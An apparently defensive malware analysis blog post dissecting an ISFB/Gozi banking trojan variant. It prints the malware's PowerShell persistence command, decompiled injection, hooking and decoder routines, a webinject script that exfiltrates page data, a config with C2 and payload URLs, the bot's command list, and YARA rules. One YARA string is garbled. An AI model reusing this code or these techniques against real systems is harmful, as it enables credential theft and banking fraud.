B. ISFB v2.16/2.17 "client.dll" (32-bit) version
XI. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
D. ISFB "RM3" Function and Debug Statements

I. Malware Campaign Spreading “ISFB” Banker
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. 
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. 
The ISFB version “2.13.24.1” (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:

Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5,000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD

The original client dropper/loader module was called originally “CRM” as part of the Gozi ISFB project. It is notable that the Gozi project originally included the “IAP” web panel project and the “ICS” configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own  “Dreambot” web panel. Fortinet did interesting coverage of the differences between “Dreambot” and the leaked ISFB (including its “joined files” (or “FJ”) struct). 
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
ISFB banker also contains a simple injected “loader.dll” after the cryptor routine that is used to launch the execution of the malware.
The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs.

Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell:

powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty\
'HKCU:\%S').%s))

For example, the loader creates a PowerShell script in hex in the registry that can be decoded  that leverages QueueUserAPC bytecode injection to process the next stage as follows:

$qbhuthvrmyf = "[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32")]
public static extern
IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \
 hwsivuroj);"
$xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \
-namespace Win32Functions -passthru;
$ujppmfuuik="[DllImport("kernel32")]
public static extern IntPtr GetCurrentThreadId();
[DllImport("kernel32")]
public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe);
[DllImport("kernel32")]
public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\
 IntPtr xfnggdcn);
[DllImport("kernel32")]
public static extern void SleepEx(uint ocqxap,uint cpvoeuen);";
$eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \
 Win32Functions -passthru;

The “loader” module communicates over HTTP to a separated ISFB server, which hosts the “client” modules (32-bit and 64-bit ones) and the above PowerShell script called “run.”
Additionally, on July 30, 2018, one ISFB group released the “client.dll” with debugging on. This version 3.0 with build ID “613” revealed that that the loader was called “RM3”.

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s

The main internal “loader.dll” control functions with the respective description are as follows:


















RM3 "loader.dll' FunctionFunction Description
LdrStartLoaderProcessstarts "loader.dll" process
Ldr2LoadInichecks "LOADER.INI" signature check
Ldr2LoadFileretrieves modules over HTTP and checks for signature
LdrIsElevatedchecks the host integrity level and if it has elevated privileges
Ldr2GetLoaderModuleretrieves and loads the startup module
Ldr2SaveModulesToRegistrysaves modules to the registry and creates registry hives
Ldr2SaveAllModulessaves 32-bit and 64-bit "client.dll" modules to the registry
Ldr2MakeRunRecordcreates an autorun value and makes sure the memory is allocated.
Ldr2RegEnumCallbackenumerates and writes autorun value and sets
Ldr2MakeEncodedImagecreates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export
ReplaceSubStrparses and replaces strings
Ldr2SetupModulestries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary
Ldr2LoadModulestries to load modules
Ldr2DisableIeDialogsdisables Internet Explorer dialog since it leverages it for downloading modules
Ldr2LoaderMainstarts the main loader function

All of the modules are encoded with Serpent encryption and can be decoded using its public key.
Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated. 
IV. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version “2.13.24.1″ (February 3, 2015), while one of the latest ISFB variants had a version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID for the latest sample was “1000.” It is worth noting that since ISFB also has version “2.17” (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control.
The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores “Client32” and “Client64” in FJ struct.
The newer sample leverages “.bss” section and unpacks the code via the following pseudo-coded C++ function:

///////////////////////////////////////////////////////////////  
///////// ISFB variant ".bss" DecodeFunction //////////////////
///////////////////////////////////////////////////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, ".bss", 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
{
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
{
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD *)"018";
v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
{
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
else
v15 = 12;
VirtualFree(v8, 0, 0x8000u);
}

It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version.

The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports.
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:

Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client.dll: 188 functions


Some of the differences in the latest client DLL include additions in the URI template such as follows with “/images/” URI path, for example:

&ip=%s
&os=%s
&tor=1
%time=%lu
%action=%u

By and large, in general, the ISFB botserver communication channels relies on four major types of communication:

Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:

".gif" - obtain a new task, which is linked to "LastTask" registry check
".jpeg" - obtain a new config, which saves the new config.
It is linked to "Main" registry check, which saves the config.
".bmp"
".avi"
The newer version has a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36” versus the leaked one with “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s).”

By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest:

#define szDataRegDataValue_src     _T("Main")
#define szDataRegBlockValue_src _T("Block")
#define szDataRegTemplate_src _T("Temp")
#define szDataRegClientId_src _T("Client")
#define szDataRegIniValue_src _T("Ini")
#define szDataRegKeysValue_src _T("Keys")
#define szDataRegKillValue_src _T("Kill")
#define szDataRegExeValue_src      _T("Install")
#define szDataRegTaskValue_src _T("LastTask")
//#define szDataRegConfigValue_src _T("LastConfig")
#define szDataRegTorValue_src _T("TorClient")
//#define szDataRegExecValue_src _T("Exec")
//#define szDataRegOperaHook_src _T("OpHook")
//#define szDataRegCrhromeHook_src _T("CrHook")

The bot also checks the config settings for “LastTask”,  for example in the registry via the following “GetLastTask” proc near prototype in ASM:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; "LastTask"
 
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9

Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address), which are new to the malware variant.

IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for botserver communications
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:

Name Address Ordinal
TorCloseRequest 100022D0 1
TorCompleteRequest 10002210 2
TorOpenRequest 10001DF0 3
TorSendRequest 10002100 4
DllEntryPoint 10184402 [main entry]
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; "file://"
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; ".onion/"
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9

The following pseudo-coded instruction is responsible for storing the "TorClient" in registry:
///////////////////////////////////////////////////////////////////////  
/////// ISFB "TorClient" RegistrySetup excerpt ////////////////////////
///////////////////////////////////////////////////////////////////////
if ( cbData > 0x40000 )
{
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
{
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
{
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient"
}
HeapFree(hHeap, 0, (LPVOID)v8);
}
else
{
v2 = 8;
}
}
else
{
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient"
}
}
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;
}

V. Stealer Methods
Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”

The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server. The function also contained a unique string “ISFB.”

///////////////////////////////////////////////////////////////////////  
/////// ISFB "GetCertificates" to .pfx ///////////////////////////////
///////////////////////////////////////////////////////////////////////
CertExportToPfx("My", CertFullName);
CertExportToPfx("AddressBook", CertFullName);
CertExportToPfx("AuthRoot", CertFullName);
CertExportToPfx("CertificateAuthority", CertFullName);
CertExportToPfx("Disallowed", CertFullName);
CertExportToPfx("Root", CertFullName);
CertExportToPfx("TrustedPeople", CertFullName);
CertExportToPfx("TrustedPublisher", CertFullName);

C. “GET_COOKIES”
ISFB tries to obtain cookies from the following browsers, for example:

Internet Explorer (local search as "*.txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite")

The ISFB variant also searches for “*.sol” files associated with Flash Player cookies.
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format:

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues a command “cmd.exe” /C pause mail” to presumably unlock the retrieval of email credentials from applications.
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.

The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
//////////////////////////////////////////////////////
// ISFB Banker 'EnableHook' with "0xe9" offset jmp ///
//////////////////////////////////////////////////////
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
{
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
{
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
{
if ( dword_1002B070 )
{
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
{
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
}
}
}
*(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
*(_DWORD *)(v5 + 28) |= 0x102u;
if ( *(_WORD *)(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR *)v12, v5);
EnterCriticalSection(&stru_1002B220);
v8 = dword_1002B218;
*(_DWORD *)v5 = dword_1002B218;
*(_DWORD *)(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
LeaveCriticalSection(&stru_1002B220);
*(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Process Injection
One of the notable malware components is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess* hooks set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.

ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB.

//////////////////////////////////////////////////////
// ISFB Banker CreateProcess "OEP" Patch Until Main ///
//////////////////////////////////////////////////////
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4)
{

lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = *(HANDLE *)lpProcessInformation_thread;
v6 = *(void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
{
intArchitect = 0x10;
}
else if ( orig_patch & 1 )
{
oep = GetProcessEntry(a2);
goto LABEL_19;
}
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
{
v10 = 3000;
do
{
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0);
else
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
LABEL_19:
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
}
oep = GetLastError();
LABEL_21:
if ( !(a3 & 4) )
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
return oep;
}
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:

@ID@  -> bot id (victim host identity)   
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=*@ -> targeted financial institutions
@CONFIG=*@ -> configuration
@VIDEO=*@ -> video to record once the victim visit the page of interest
@SOCKS=*@ -> connect SOCKS server
@KILL=*@ -> kill command (only with 2.17 version)
@VNC=*@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.

/////////////////////////////////////////////////////////
////////////////// ISFB WebInject Config Example ////////
/////////////////////////////////////////////////////////
"*", 
"<!DOCTYPE***",
"<!DOCTYPE***<script type='text/javascript'\
id='script_id' src='/@ID@/script.js?\
x=@ID@&y=@GROUP@&d=@ID@&bname=&v=@VIDEO@=7,180'>"
}

One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.
Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called “_brows.cap” with the script name . The example of the observed inject is as follows:

/////////////////////////////////////////////////////////
////////////////// Inject Excerpt ///////////////////////
/////////////////////////////////////////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = "@ID@";
var account_id;
String.prototype.fAkElink="";
String.prototype.fAkEstyle=document.createElement("style");
String.prototype.fAkEcss='body{visibility:hidden;}';
''.fAkEstyle.setAttribute("type", "text/css");
if(''.fAkEstyle.styleSheet){// IE
''.fAkEstyle.styleSheet.cssText = ''.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(''.fAkEcss);
''.fAkEstyle.appendChild(''.fAkEcssText);
}
if(document.domain.search(/<TARGETED_BANK_URL/g)>-1){
document.getElementsByTagName("head")[0].appendChild(''.fAkEstyle);
String.prototype.fAkEstart=function(){
if((document.readyState&&document.readyState=="complete")||\
(document.body&&document.body.readyState=="complete")){
if(document.body&&document.body.nodeName.toUpperCase()!="FRAMESET"){
if(!document.getElementById("js_com_1_qweqwe")){\

String.prototype.fAkETitle=
document.getElementsByTagName('title').length>0?document.getElementsByTagName('title')[0].innerHTML:"doc. have frame";
''.fAkEMakeElem("c=1&at=2&n=@ID@&b=TARGETED_BANK_URL/"+"&d="+encodeURIComponent(document.domain)
+"&doc_url="+encodeURIComponent(document.location.href)+"&doc_title="+encodeURIComponent(''.fAkETitle)+"&r="+Number(new Date()),
function(){document.body.style.visibility = "visible";},"script","js_com_1_qweqwe",false);
};
}else{
document.body.style.visibility = "visible";
}
}else{setTimeout(function(){''.fAkEstart()},1000);}
};''.fAkEstart();
}

IX. Yara Signature
A. ISFB v2.17 “loader.dll” (32-bit) version

rule crime_win32_isfb_v217_loader_dll {
meta:
description = "Detects ISFB loader.dll version 2.17 Aug 20, 2018"
author = "@VK_Intel"
date = "2018-08-28"
hash1 = "d3254467f310f5de9387119d9ec572f045286df70747ca97d99a993eca3efa23"
strings:
$x1 = "/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\\%S').%s))" fullword wide
$s0 = ".bss" fullword wide
$s1 = "GetBinaryValue" fullword wide
$s2 = "loader.dll" fullword ascii
$s3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" fullword wide
$s4 = "/C ping localhost -n %u && del \"%s\"" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 100KB and
pe.imphash() == "d7f06c756511270cacf97147c81ebb0b" and
( 1 of ($x*) or 4 of them )
) or ( 5 of them )
}

B. ISFB v2.16/2.17 “client.dll” (32-bit) version

rule crime_win32_isfb_v216_217__client_dll {
meta:
description = "Detecs Unpacked Gozi ISFB v. 2.16 variant client32.dll"
author = "@VK_Intel"
date = "2018-08-25"
hash1 = "5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a"
strings:
$x1 = ".bss" fullword ascii
$s1 = "PluginRegisterCallbacks" fullword ascii
$s2 = "Client" fullword ascii
$s3 = "TorClient" fullword ascii
$s4 = "client.dll" fullword ascii
$s5 = ".jpeg" fullword ascii
$s6 = ".bmp" fullword ascii
$s7 = "nslookup myip.oOutlinpendns.com resolver1.opendns.com" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x*) and 4 of them )
) or ( all of them )
}

X. Addendum
A. Extracted ISFB Configuration*

Config Fail Timeout     [u'1200']
Send Timeout [u'240']
Knocker Timeout [u'300']
DGA Season [u'10']
Botnet ID [u'1000']
DGA TLDs [[u'com', u'ru', u'org']]
IP Service [u'curlmyip[.]net']
BC Timeout [u'10']
Timer [u'20']
Server [u'110']
64-bit DLL URLs [[u'zjsgyyq[.]com/leader/pdf.zip', u'portaldobomretiro[.]net/wp-admin/network/2.bin', u'colourshield[.]com/m1/pdd.rtf', u'mukeshjshah[.]com/admuin/litecoin.rar', u'petras[.]name/fotos/zek.dmg', u'sbmpowisle.dag[.]pl/js/989999.sh', u'cdn.robatop[.]at/jvassets/zarch/xx.dmg']]
Encryption key [u'Nf6lU8d5X0i1Wr7V']
Value 11 [u'1']
Config Timeout [u'1200']
DGA CRC [u'0x4eb7d2ca']
Domains [[u'inc.robatop[.]at/wpapi', u'torafy[.]cn/wpapi', u'app.tohio[.]at/wpapi', u'scr.tohio[.]at/wpapi', u'yraco[.]cn/wpapi', u'poi.robatop[.]at/wpapi', u'login.cdrome[.]at/wpapi', u'az.popdel[.]at/wpapi', u'io.ledal[.]at/wpapi', u'in.ledal[.]at/wpapi', u'api.galio[.]at/wpapi', u'ssl.lottos[.]at/wpapi', u'harent[.]cn/wpapi']]
DGA Base URL [u'constitution[.]org/usdeclar.txt']
Task Timeout [u'240']
TOR Domains [[u'4fsq3wnmms6xqybt[.]onion/wpapi', u'em2eddryi6ptkcnh[.]onion/wpapi', u'nap7zb4gtnzwmxsv[.]onion/wpapi', u't7yz3cihrrzalznq[.]onion/wpapi']]
32-bit DLL URLs [u'zjsgyyq[.]com/leader/doc.zip', u'portaldobomretiro[.]net/wp-admin/network/1.bin', u'colourshield[.]com/m1/dll.rtf', u'mukeshjshah[.]com/admuin/coin.rar', u'petras[.]name/fotos/dash.dmg', u'sbmpowisle.dag[.]pl/js/757575.sh', u'cdn.robatop[.]at/jvassets/zarch/x.rar']]

*Cape Sandbox
B. Hooked APIs

Mozilla Firefox:
PR_Read
PR_Write
PR_Close
PR_Poll

Internet Explorer:
InternetReadFile
InternetWriteFile
InternetReadFileExA
InternetReadFileExW
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
InternetCloseHandle
InternetQueryDataAvailable
InternetStatusCallback
InternetConnectA
InternetConnectW
HttpQueryInfoA
HttpQueryInfoW
HttpAddRequestHeadersA
HttpAddRequestHeadersW
HttpOpenRequestW
InternetSetStatusCallback

Windows Explorer:
CreateProcessA
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW

Windows Explorer:
RegGetValueW
RegQueryValueExW

Google Chrome & Opera Browser:
WSARecv
WSASend
closesocket
recv
LoadLibraryExW

Advapi32.dll:
CryptGetUserKey

C. Original Commands from Leaked ISFB v2.13* in Russian

GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер

GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.

LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем

D. ISFB client.dll “RM3” Function and Debug Statements

LdrStartLoaderProcess
[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s
Ldr2LoadIni
[%s:%u] Attached LOADER.INI signature check failed, error %u
[%s:%u] No attached LOADER.INI found
Ldr2LoadFile
[%s:%u] File 0x%X of %u bytes is received over HTTP
[%s:%u] File 0x%X has an invalid signature
[%s:%u] Failed to receive file 0x%X, error %u
LdrIsElevated
